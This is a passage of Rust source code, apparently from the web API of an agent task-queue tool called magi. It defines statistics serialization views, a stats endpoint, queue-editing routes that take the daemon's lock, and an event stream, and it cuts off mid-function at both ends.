7232            None => TaskView::from(task),
7233        }
7234        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
7235        Ok(Json(view))
7236    })
7237    .await
7238}
7239
7240async fn task_detail(
7241    State(ui): State<Arc<Ui>>,
7242    Path(id): Path<String>,
7243) -> ApiResult<Json<TaskDetailView>> {
7244    blocking(move || {
7245        let id = resolve_task(&ui.queue, &id)?;
7246        let task = ui
7247            .queue
7248            .get(&id)
7249            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
7250        let inv = if task.status == TaskStatus::Blocked {
7251            Some(crate::blockers::Inventory::load_for(
7252                &ui.queue,
7253                &ui.questions,
7254                &task,
7255            ))
7256        } else {
7257            None
7258        };
7259        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
7260        mark_badges(&ui, &task, &mut history);
7261        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
7262        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
7263        let origin = task.followup.as_ref().map(|fu| {
7264            followup_origin(
7265                fu,
7266                |tid| ui.queue.get(tid).ok(),
7267                |rid| read_run(&ui.runs, rid).ok(),
7268            )
7269        });
7270        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
7271        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7272        let task_view = match inv.as_ref() {
7273            Some(inv) => TaskView::with_inventory(task, inv),
7274            None => TaskView::from(task),
7275        }
7276        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home)
7277        .with_recovery_decisions(&ui.questions);
7278        Ok(Json(TaskDetailView {
7279            max_attempts,
7280            flow,
7281            followup_origin: origin,
7282            passes_total: history.len(),
7283            runs_distinct: distinct_runs(&task_view.task.runs),
7284            history,
7285            runs_unreadable,
7286            attempts_note: ATTEMPTS_NOTE,
7287            task: task_view,
7288        }))
7289    })
7290    .await
7291}
7292
7293/// A rate together with its denominator, so the client can tell "computed as
7294/// 0%" apart from "no data to compute it from" — both would otherwise
7295/// serialize as `0.0`. `None` means the denominator was zero.
7296#[derive(Debug, Serialize)]
7297struct RateView {
7298    pct: f64,
7299    denominator: usize,
7300}
7301
7302impl RateView {
7303    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7304        (denominator > 0).then(|| Self {
7305            pct: 100.0 * numerator as f64 / denominator as f64,
7306            denominator,
7307        })
7308    }
7309}
7310
7311/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7312/// rates, each paired with its own denominator via [`RateView`] rather than
7313/// exposing `Stats`' own percentage methods directly — see this module's
7314/// doc for why `Stats` itself is never serialized.
7315#[derive(Debug, Serialize)]
7316struct StatsTotalsView {
7317    runs: usize,
7318    merged: usize,
7319    ready: usize,
7320    blocked: usize,
7321    failed: usize,
7322    stalled: usize,
7323    verified_noop: usize,
7324    superseded: usize,
7325    in_progress: usize,
7326    completion_rate: Option<RateView>,
7327    tallied: usize,
7328    split: usize,
7329    split_rate: Option<RateView>,
7330    deliberated: usize,
7331    minds_changed: usize,
7332    converged: usize,
7333    review_rounds: usize,
7334}
7335
7336impl From<&stats::Totals> for StatsTotalsView {
7337    fn from(t: &stats::Totals) -> Self {
7338        Self {
7339            runs: t.runs,
7340            merged: t.merged,
7341            ready: t.ready,
7342            blocked: t.blocked,
7343            failed: t.failed,
7344            stalled: t.stalled,
7345            verified_noop: t.verified_noop,
7346            superseded: t.superseded,
7347            in_progress: t.in_progress,
7348            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7349            tallied: t.tallied,
7350            split: t.split,
7351            split_rate: RateView::of(t.split, t.tallied),
7352            deliberated: t.deliberated,
7353            minds_changed: t.minds_changed,
7354            converged: t.converged,
7355            review_rounds: t.review_rounds,
7356        }
7357    }
7358}
7359
7360/// [`crate::stats::AgentStats`] for the wire.
7361#[derive(Debug, Serialize)]
7362struct AgentStatsView {
7363    agent: String,
7364    entered: usize,
7365    wins: usize,
7366    empty: usize,
7367    win_rate: Option<RateView>,
7368    competitive_entered: usize,
7369    competitive_wins: usize,
7370    competitive_win_rate: Option<RateView>,
7371    solo_entered: usize,
7372    solo_adopted: usize,
7373    solo_adoption_rate: Option<RateView>,
7374}
7375
7376impl From<&stats::AgentStats> for AgentStatsView {
7377    fn from(a: &stats::AgentStats) -> Self {
7378        Self {
7379            agent: a.agent.clone(),
7380            entered: a.entered,
7381            wins: a.wins,
7382            empty: a.empty,
7383            win_rate: RateView::of(a.wins, a.entered),
7384            competitive_entered: a.competitive_entered,
7385            competitive_wins: a.competitive_wins,
7386            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7387            solo_entered: a.solo_entered,
7388            solo_adopted: a.solo_adopted,
7389            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7390        }
7391    }
7392}
7393
7394/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7395/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7396/// value, `None` when `rounds` is zero.
7397#[derive(Debug, Serialize)]
7398struct ReviewerStatsView {
7399    agent: String,
7400    rounds: usize,
7401    seated: usize,
7402    submitted: usize,
7403    adopted: usize,
7404    unique: usize,
7405    timeouts: usize,
7406    adopted_per_round: Option<f64>,
7407    precision: Option<RateView>,
7408    unique_rate: Option<RateView>,
7409    timeout_rate: Option<RateView>,
7410}
7411
7412impl From<&stats::ReviewerStats> for ReviewerStatsView {
7413    fn from(r: &stats::ReviewerStats) -> Self {
7414        Self {
7415            agent: r.agent.clone(),
7416            rounds: r.rounds,
7417            seated: r.seated,
7418            submitted: r.submitted,
7419            adopted: r.adopted,
7420            unique: r.unique,
7421            timeouts: r.timeouts,
7422            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7423            precision: RateView::of(r.adopted, r.submitted),
7424            unique_rate: RateView::of(r.unique, r.submitted),
7425            timeout_rate: RateView::of(r.timeouts, r.seated),
7426        }
7427    }
7428}
7429
7430/// [`crate::stats::AdvisorStats`] for the wire.
7431///
7432/// `reflection_rate` is approximate by construction — see
7433/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7434/// that caveat is static text in `index.html`, not a field here.
7435#[derive(Debug, Serialize)]
7436struct AdvisorStatsView {
7437    agent: String,
7438    seated: usize,
7439    proposed: usize,
7440    absent: usize,
7441    faint: usize,
7442    strong: usize,
7443    reflection_rate: Option<RateView>,
7444}
7445
7446impl From<&stats::AdvisorStats> for AdvisorStatsView {
7447    fn from(a: &stats::AdvisorStats) -> Self {
7448        Self {
7449            agent: a.agent.clone(),
7450            seated: a.seated,
7451            proposed: a.proposed,
7452            absent: a.absent,
7453            faint: a.faint,
7454            strong: a.strong,
7455            reflection_rate: RateView::of(a.strong, a.proposed),
7456        }
7457    }
7458}
7459
7460/// [`crate::stats::E2eStats`] for the wire.
7461#[derive(Debug, Serialize)]
7462struct E2eStatsView {
7463    rounds: usize,
7464    failures: usize,
7465    sole_detections: usize,
7466    deferred: usize,
7467    sole_rate: Option<RateView>,
7468}
7469
7470impl From<&stats::E2eStats> for E2eStatsView {
7471    fn from(e: &stats::E2eStats) -> Self {
7472        Self {
7473            rounds: e.rounds,
7474            failures: e.failures,
7475            sole_detections: e.sole_detections,
7476            deferred: e.deferred,
7477            sole_rate: RateView::of(e.sole_detections, e.failures),
7478        }
7479    }
7480}
7481
7482/// [`crate::stats::ReleaseBumpStats`] for the wire.
7483///
7484/// `clean` is sent as a raw count, computed the same way
7485/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7486/// needs_attention`) — never derived client-side from `automerge_enabled`,
7487/// which would misclassify a `merged_directly` bump (automerge rejected, but
7488/// magi merged it directly, so no human involvement) as needing attention.
7489#[derive(Debug, Serialize)]
7490struct ReleaseBumpStatsView {
7491    merged: usize,
7492    recorded: usize,
7493    pr_opened: usize,
7494    automerge_enabled: usize,
7495    merged_directly: usize,
7496    needs_attention: usize,
7497    clean: usize,
7498    coverage_rate: Option<RateView>,
7499    automerge_rate: Option<RateView>,
7500    attention_rate: Option<RateView>,
7501}
7502
7503impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7504    fn from(b: &stats::ReleaseBumpStats) -> Self {
7505        Self {
7506            merged: b.merged,
7507            recorded: b.recorded,
7508            pr_opened: b.pr_opened,
7509            automerge_enabled: b.automerge_enabled,
7510            merged_directly: b.merged_directly,
7511            needs_attention: b.needs_attention,
7512            clean: b.clean(),
7513            coverage_rate: RateView::of(b.recorded, b.merged),
7514            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7515            attention_rate: RateView::of(b.needs_attention, b.recorded),
7516        }
7517    }
7518}
7519
7520/// [`crate::queue::TaskCounts`] for the wire.
7521#[derive(Debug, Serialize)]
7522struct TaskCountsView {
7523    queued: usize,
7524    running: usize,
7525    done: usize,
7526    failed: usize,
7527    held: usize,
7528    blocked: usize,
7529    parked: usize,
7530}
7531
7532impl From<crate::queue::TaskCounts> for TaskCountsView {
7533    fn from(c: crate::queue::TaskCounts) -> Self {
7534        Self {
7535            queued: c.queued,
7536            running: c.running,
7537            done: c.done,
7538            failed: c.failed,
7539            held: c.held,
7540            blocked: c.blocked,
7541            parked: c.parked,
7542        }
7543    }
7544}
7545
7546/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7547/// runs recorded — the summary the UI's repository selector is built from.
7548/// Carries no nested `Stats`: picking a repo means re-fetching
7549/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7550/// aggregation rather than duplicating it.
7551#[derive(Debug, Serialize)]
7552struct RepoSummaryView {
7553    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7554    /// against, full path and all (see [`stats_get`]'s own doc for why).
7555    repo: String,
7556    /// Display name only; never used for matching.
7557    name: String,
7558    runs: usize,
7559    completion_rate: Option<RateView>,
7560}
7561
7562impl From<&stats::RepoStats> for RepoSummaryView {
7563    fn from(r: &stats::RepoStats) -> Self {
7564        let t = &r.stats.totals;
7565        Self {
7566            repo: r.repo.to_string_lossy().into_owned(),
7567            name: r.name.clone(),
7568            runs: t.runs,
7569            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7570        }
7571    }
7572}
7573
7574/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7575/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7576/// renders from them) are free to grow without that becoming a wire-contract
7577/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7578/// data" from "computed and it really is zero" the way [`RateView`] does.
7579#[derive(Debug, Serialize)]
7580struct StatsView {
7581    totals: StatsTotalsView,
7582    /// Best win rate first, as [`stats::collect`] already sorts it.
7583    agents: Vec<AgentStatsView>,
7584    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7585    reviewers: Vec<ReviewerStatsView>,
7586    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7587    advisors: Vec<AdvisorStatsView>,
7588    e2e: E2eStatsView,
7589    release_bumps: ReleaseBumpStatsView,
7590    queue: Option<TaskCountsView>,
7591    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7592    /// that field's doc. Asserted to match it in
7593    /// `stats_runs_unreadable_matches_health`.
7594    ///
7595    /// Always the whole-workload count, even when `repo` narrows every other
7596    /// field to one repository - an unreadable `run.json` carries no `repo`
7597    /// a per-repository count could attribute it to, and the queue/health
7598    /// views this mirrors never scope it either. The UI must not present it
7599    /// as if it were scoped to the selected repository.
7600    runs_unreadable: usize,
7601    /// Every repository with runs recorded, most runs first - what the UI's
7602    /// repository selector is built from. Always the full list regardless of
7603    /// `repo`, so switching repositories never needs a second request.
7604    repos: Vec<RepoSummaryView>,
7605    /// Runs per local day over the last 30 days, oldest first, always 30
7606    /// entries. Days are the *server's* local dates (the UI must not convert
7607    /// them again), cut by run creation and classified by current status.
7608    /// Narrowed by `repo` like every other run-derived field.
7609    daily: Vec<DailyStatsView>,
7610    /// The `?repo=` value this response was narrowed to, echoed back so the
7611    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7612    /// all-repositories view.
7613    repo: Option<String>,
7614    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7615    /// current config roster no longer lists them. Empty with `?all=true`, an
7616    /// unreadable config, or when nothing was retired.
7617    retired_hidden: Vec<String>,
7618}
7619
7620/// One day of [`StatsView::daily`].
7621#[derive(Debug, Serialize)]
7622struct DailyStatsView {
7623    /// `YYYY-MM-DD`, server-local.
7624    date: String,
7625    runs: usize,
7626    merged: usize,
7627    ready: usize,
7628    other: usize,
7629    /// `None` on a day with no runs, so it never reads as 0%.
7630    completion_rate: Option<RateView>,
7631}
7632
7633impl From<&stats::DayBucket> for DailyStatsView {
7634    fn from(b: &stats::DayBucket) -> Self {
7635        Self {
7636            date: b.date.to_string(),
7637            runs: b.runs,
7638            merged: b.merged,
7639            ready: b.ready,
7640            other: b.other,
7641            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7642        }
7643    }
7644}
7645
7646/// How many days [`StatsView::daily`] covers.
7647const STATS_DAILY_DAYS: usize = 30;
7648
7649/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7650/// repository. Matched by full-path equality against `RunState.repo` only
7651/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7652/// `--repo` is, because the value here always came from this same route's
7653/// own `repos` list in an earlier response, never typed by a human. A value
7654/// matching no run is a 404, not an empty aggregate: the caller asked for a
7655/// specific, named repository, and silently returning zeroes would look
7656/// exactly like a repository that has runs but none of interest.
7657#[derive(Debug, Default, Deserialize)]
7658#[serde(default)]
7659struct StatsQuery {
7660    repo: Option<String>,
7661    /// `?all=true` keeps agents that are no longer in the roster.
7662    all: bool,
7663    /// The dashboard fetches queue counts independently of run history.
7664    runs_only: bool,
7665}
7666
7667/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7668/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7669/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7670/// prints from. Reads every readable run on disk, exactly as
7671/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7672/// a separately-maintained tally could.
7673async fn stats_get(
7674    State(ui): State<Arc<Ui>>,
7675    Query(q): Query<StatsQuery>,
7676) -> ApiResult<Json<StatsView>> {
7677    blocking(move || {
7678        let states: Vec<RunState> = run_ids(&ui.runs)
7679            .into_iter()
7680            .filter_map(|id| read_run(&ui.runs, &id).ok())
7681            .collect();
7682        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7683            .iter()
7684            .map(RepoSummaryView::from)
7685            .collect();
7686        let mut scoped: Vec<&RunState> = states.iter().collect();
7687        let mut collected = match &q.repo {
7688            Some(repo) => {
7689                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7690                if filtered.is_empty() {
7691                    return Err(ApiError::not_found(format!(
7692                        "no runs recorded against repo `{repo}`"
7693                    )));
7694                }
7695                scoped = filtered.clone();
7696                stats::collect_refs(filtered)
7697            }
7698            None => stats::collect(&states),
7699        };
7700        if !q.all {
7701            let repo = q
7702                .repo
7703                .as_deref()
7704                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7705            stats::retain_current_roster(&mut collected, &repo);
7706        }
7707        let daily = stats::daily(
7708            scoped,
7709            jiff::Zoned::now().date(),
7710            &jiff::tz::TimeZone::system(),
7711            STATS_DAILY_DAYS,
7712        );
7713        let queue_counts = (!q.runs_only)
7714            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7715        Ok(Json(StatsView {
7716            totals: StatsTotalsView::from(&collected.totals),
7717            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7718            reviewers: collected
7719                .reviewers
7720                .iter()
7721                .map(ReviewerStatsView::from)
7722                .collect(),
7723            advisors: collected
7724                .advisors
7725                .iter()
7726                .map(AdvisorStatsView::from)
7727                .collect(),
7728            e2e: E2eStatsView::from(&collected.e2e),
7729            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7730            queue: queue_counts,
7731            runs_unreadable: runs_unreadable(&ui.runs),
7732            repos,
7733            daily: daily.iter().map(DailyStatsView::from).collect(),
7734            repo: q.repo.clone(),
7735            retired_hidden: collected.retired_hidden.clone(),
7736        }))
7737    })
7738    .await
7739}
7740
7741/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7742/// gives no reason - which must keep working, since not every hold has one.
7743#[derive(Debug, Default, Deserialize)]
7744#[serde(default, deny_unknown_fields)]
7745struct HoldBody {
7746    reason: Option<String>,
7747}
7748
7749async fn queue_hold(
7750    State(ui): State<Arc<Ui>>,
7751    Path(id): Path<String>,
7752    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7753) -> ApiResult<Json<TaskView>> {
7754    // An absent body is the ordinary case - most holds are unexplained, and
7755    // that has to stay a one-tap action rather than a form. A body that is
7756    // present and malformed is still a bad request.
7757    let body = match body {
7758        Ok(Json(body)) => body,
7759        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7760        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7761    };
7762    let reason = body.reason.filter(|r| !r.trim().is_empty());
7763    mutate(ui, id, move |t| {
7764        t.hold_manual(reason.clone());
7765        Ok(())
7766    })
7767    .await
7768}
7769
7770#[derive(Deserialize)]
7771#[serde(deny_unknown_fields)]
7772struct ReassignBody {
7773    repo: PathBuf,
7774}
7775
7776async fn queue_reassign(
7777    State(ui): State<Arc<Ui>>,
7778    Path(id): Path<String>,
7779    Json(body): Json<ReassignBody>,
7780) -> ApiResult<Json<TaskView>> {
7781    let home = ui.home.clone();
7782    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7783        .await
7784        .map_err(ApiError::bad_request_from)?;
7785    let notes = crate::task_reassign::advisory_notes(&task, &home);
7786    let mut view = TaskView::from(task);
7787    view.reassignment_notes = notes;
7788    Ok(Json(view))
7789}
7790
7791async fn queue_release(
7792    State(ui): State<Arc<Ui>>,
7793    Path(id): Path<String>,
7794) -> ApiResult<Json<TaskView>> {
7795    mutate(ui, id, |t| {
7796        t.release_operator("web", None);
7797        Ok(())
7798    })
7799    .await
7800}
7801
7802#[derive(Debug, Deserialize)]
7803#[serde(deny_unknown_fields)]
7804struct AttemptLimitBody {
7805    // Required even when clearing: missing fields must not silently erase an override.
7806    attempt_limit: serde_json::Value,
7807}
7808
7809async fn queue_attempt_limit(
7810    State(ui): State<Arc<Ui>>,
7811    Path(id): Path<String>,
7812    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7813) -> ApiResult<Json<TaskView>> {
7814    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7815    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7816        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7817    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7818}
7819
7820#[derive(Debug, Deserialize)]
7821#[serde(deny_unknown_fields)]
7822struct ImplementersBody {
7823    implementers: u8,
7824}
7825
7826async fn queue_implementers(
7827    State(ui): State<Arc<Ui>>,
7828    Path(id): Path<String>,
7829    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7830) -> ApiResult<Json<TaskView>> {
7831    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7832    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7833}
7834
7835#[derive(Debug, Deserialize)]
7836#[serde(deny_unknown_fields)]
7837struct UrgentBody {
7838    urgent: bool,
7839}
7840
7841async fn queue_urgent(
7842    State(ui): State<Arc<Ui>>,
7843    Path(id): Path<String>,
7844    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7845) -> ApiResult<Json<TaskView>> {
7846    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7847    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7848}
7849
7850#[derive(Debug, Deserialize)]
7851#[serde(deny_unknown_fields)]
7852struct ImmediateBody {
7853    immediate: bool,
7854}
7855
7856async fn queue_immediate(
7857    State(ui): State<Arc<Ui>>,
7858    Path(id): Path<String>,
7859    body: std::result::Result<Json<ImmediateBody>, JsonRejection>,
7860) -> ApiResult<Json<TaskView>> {
7861    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7862    mutate(ui, id, move |t| t.set_immediate(body.immediate)).await
7863}
7864
7865/// The body of `POST /api/queue/{id}/priority`.
7866#[derive(Debug, Deserialize)]
7867#[serde(deny_unknown_fields)]
7868struct PriorityBody {
7869    priority: i32,
7870}
7871
7872/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7873///
7874/// [`Task::set_priority`] is the one place the "not while running" rule is
7875/// stated; this route only carries the body to it and lets its `Err` become
7876/// the 4xx the card shows.
7877async fn queue_priority(
7878    State(ui): State<Arc<Ui>>,
7879    Path(id): Path<String>,
7880    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7881) -> ApiResult<Json<TaskView>> {
7882    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7883    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7884}
7885
7886/// The body of `POST /api/queue/{id}/edit`.
7887#[derive(Debug, Deserialize)]
7888#[serde(deny_unknown_fields)]
7889struct EditBody {
7890    title: String,
7891    instruction: String,
7892    /// Save even though the new text names a branch, commit or pull request
7893    /// that unfinished work already owns.
7894    #[serde(default)]
7895    force: bool,
7896}
7897
7898/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7899/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7900/// that refusal's message is what the sheet shows back.
7901async fn queue_edit(
7902    State(ui): State<Arc<Ui>>,
7903    Path(id): Path<String>,
7904    body: std::result::Result<Json<EditBody>, JsonRejection>,
7905) -> ApiResult<Json<TaskView>> {
7906    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7907    // The judge is an agent call, so it is awaited here, outside the claim
7908    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7909    // remembered, and the save refuses if the task moved underneath it.
7910    let mut judged: Option<(String, PathBuf)> = None;
7911    if !body.force {
7912        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7913        let (id, text) = (id.clone(), body.instruction.clone());
7914        let (seen, hits) = blocking(move || {
7915            let id = resolve_task(&queue, &id)?;
7916            let t = queue.get(&id)?;
7917            if text == t.instruction {
7918                return Ok((None, Vec::new()));
7919            }
7920            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7921            Ok((Some((t.instruction, t.repo)), hits))
7922        })
7923        .await?;
7924        if let Some((_, repo)) = &seen {
7925            let cfg = crate::config::Config::discover(repo, None)
7926                .ok()
7927                .map(|(c, _)| c);
7928            let screened =
7929                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7930                    .await
7931                    .map_err(|dup| {
7932                        ApiError::conflict(dup.render(
7933                            "Nothing was saved. If it is not a duplicate, repeat the request \
7934                             with \"force\": true.",
7935                        ))
7936                    })?;
7937            if let crate::dupes::Screened::Unjudged(why) = screened {
7938                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7939            }
7940        }
7941        judged = seen;
7942    }
7943    let force = body.force;
7944    mutate(ui, id, move |t| {
7945        if !force && body.instruction != t.instruction {
7946            match &judged {
7947                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7948                _ => {
7949                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7950                }
7951            }
7952        }
7953        t.edit(body.title.clone(), body.instruction.clone())
7954    })
7955    .await
7956}
7957
7958#[derive(Debug, Default, Deserialize)]
7959#[serde(default, deny_unknown_fields)]
7960struct CompleteBody {
7961    reason: Option<String>,
7962    discard: bool,
7963}
7964
7965/// Close through the same audited merge/discard guard as the CLI.
7966async fn queue_done(
7967    State(ui): State<Arc<Ui>>,
7968    Path(id): Path<String>,
7969    body: std::result::Result<Json<CompleteBody>, JsonRejection>,
7970) -> ApiResult<Json<TaskView>> {
7971    let body = match body {
7972        Ok(Json(body)) => body,
7973        Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
7974        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7975    };
7976    let state = Arc::clone(&ui);
7977    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7978    let task = crate::task_completion::close_claimed(
7979        &ui.queue,
7980        &ui.home,
7981        claimed,
7982        crate::queue::CompletionActor::Web,
7983        body.reason,
7984        body.discard,
7985    )
7986    .await
7987    .map_err(ApiError::completion)?;
7988    Ok(Json(TaskView::from(task)))
7989}
7990
7991#[derive(Debug, Deserialize)]
7992#[serde(deny_unknown_fields)]
7993struct ReopenBody {
7994    reason: String,
7995}
7996
7997/// Restore a safely unlanded completion to Held, never straight to execution.
7998async fn queue_reopen(
7999    State(ui): State<Arc<Ui>>,
8000    Path(id): Path<String>,
8001    Json(body): Json<ReopenBody>,
8002) -> ApiResult<Json<TaskView>> {
8003    let state = Arc::clone(&ui);
8004    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
8005    let task = crate::task_completion::reopen_claimed(
8006        &ui.queue,
8007        &ui.home,
8008        claimed,
8009        crate::queue::CompletionActor::Web,
8010        &body.reason,
8011    )
8012    .await
8013    .map_err(ApiError::completion)?;
8014    Ok(Json(TaskView::from(task)))
8015}
8016
8017/// `DELETE /api/queue/{id}`.
8018///
8019/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
8020/// names this task: a `running` status or an orphaned `.lock` left behind by a
8021/// killed daemon is a leftover, and treating either as authority made the
8022/// task undeletable from the phone for good. The associated runs, if any, are
8023/// kept: a run is self-contained history and not an appendage of the task.
8024async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8025    blocking(move || {
8026        let id = resolve_task(&ui.queue, &id)?;
8027        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
8028        ui.queue
8029            .remove(&id, in_flight, &ui.questions)
8030            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
8031        Ok(StatusCode::NO_CONTENT)
8032    })
8033    .await
8034}
8035
8036/// Resolve the operator's reference, then reload under the same claim a daemon takes.
8037fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
8038    let id = resolve_task(queue, reference)?;
8039    let claim = queue.claim(&id).map_err(|e| {
8040        ApiError::conflict(format!(
8041            "{e:#} - a daemon is running this task, so it cannot be \
8042             changed from here yet; wait until it is released, then retry"
8043        ))
8044    })?;
8045    Ok((claim, queue.get(&id)?))
8046}
8047
8048/// Read a task, change it, write it back, under the queue's own lock.
8049///
8050/// Taking the same claim a daemon takes is what makes hold, release,
8051/// priority, edit, and done safe to press while magi is running: without it
8052/// the daemon's next save would land on top of the operator's change and
8053/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
8054/// both do, for a running task - and that refusal becomes the 4xx the card
8055/// shows, same as any other domain rule.
8056async fn mutate(
8057    ui: Arc<Ui>,
8058    id: String,
8059    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
8060) -> ApiResult<Json<TaskView>> {
8061    blocking(move || {
8062        let task = {
8063            let (_claim, mut task) = claim_task(&ui.queue, &id)?;
8064            change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
8065                Ok(dup) => ApiError::conflict(dup.render(
8066                    "Nothing was saved. If it is not a duplicate, repeat the request with \
8067                     \"force\": true.",
8068                )),
8069                Err(e) => ApiError::bad_request_from(e),
8070            })?;
8071            ui.queue.put(&mut task)?;
8072            task
8073        };
8074        let inv = (task.status == TaskStatus::Blocked)
8075            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
8076        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
8077        let view = match inv.as_ref() {
8078            Some(inv) => TaskView::with_inventory(task, inv),
8079            None => TaskView::from(task),
8080        }
8081        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
8082        Ok(Json(view))
8083    })
8084    .await
8085}
8086
8087/// The change stream: one revision number per store, on connect and whenever
8088/// any of them moves.
8089///
8090/// One shared worker scans stores; clients only forward its notifications.
8091async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
8092    ui.monitor.ensure_worker(&ui);
8093    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
8094    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
8095
8096    let state = Arc::clone(&ui);
8097    tokio::spawn(async move {
8098        let initial_revisions = {
8099            let guard = match state.monitor.latest.lock() {
8100                Ok(g) => g,
8101                Err(p) => p.into_inner(),
8102            };
8103            guard.as_ref().map(|(r, _)| *r)
8104        };
8105        if let Some(revisions) = initial_revisions {
8106            let initial_payload = serde_json::json!({
8107                "queue_rev": revisions.0,
8108                "runs_rev": revisions.1,
8109                "questions_rev": revisions.2,
8110                "talks_rev": revisions.3,
8111                "notifications_rev": revisions.4,
8112                "loop_rev": revisions.5,
8113            });
8114
8115            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
8116                if tx.send(event).await.is_err() {
8117                    return;
8118                }
8119            }
8120        }
8121
8122        loop {
8123            match tokio::select! {
8124                _ = tx.closed() => return,
8125                value = broadcast_rx.recv() => value,
8126            } {
8127                Ok(notif) => {
8128                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
8129                    else {
8130                        break;
8131                    };
8132                    if tx.send(event).await.is_err() {
8133                        break;
8134                    }
8135                }
8136                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
8137                    let revs = {
8138                        let guard = match state.monitor.latest.lock() {
8139                            Ok(g) => g,
8140                            Err(p) => p.into_inner(),
8141                        };
8142                        guard.as_ref().map(|(r, _)| *r)
8143                    };
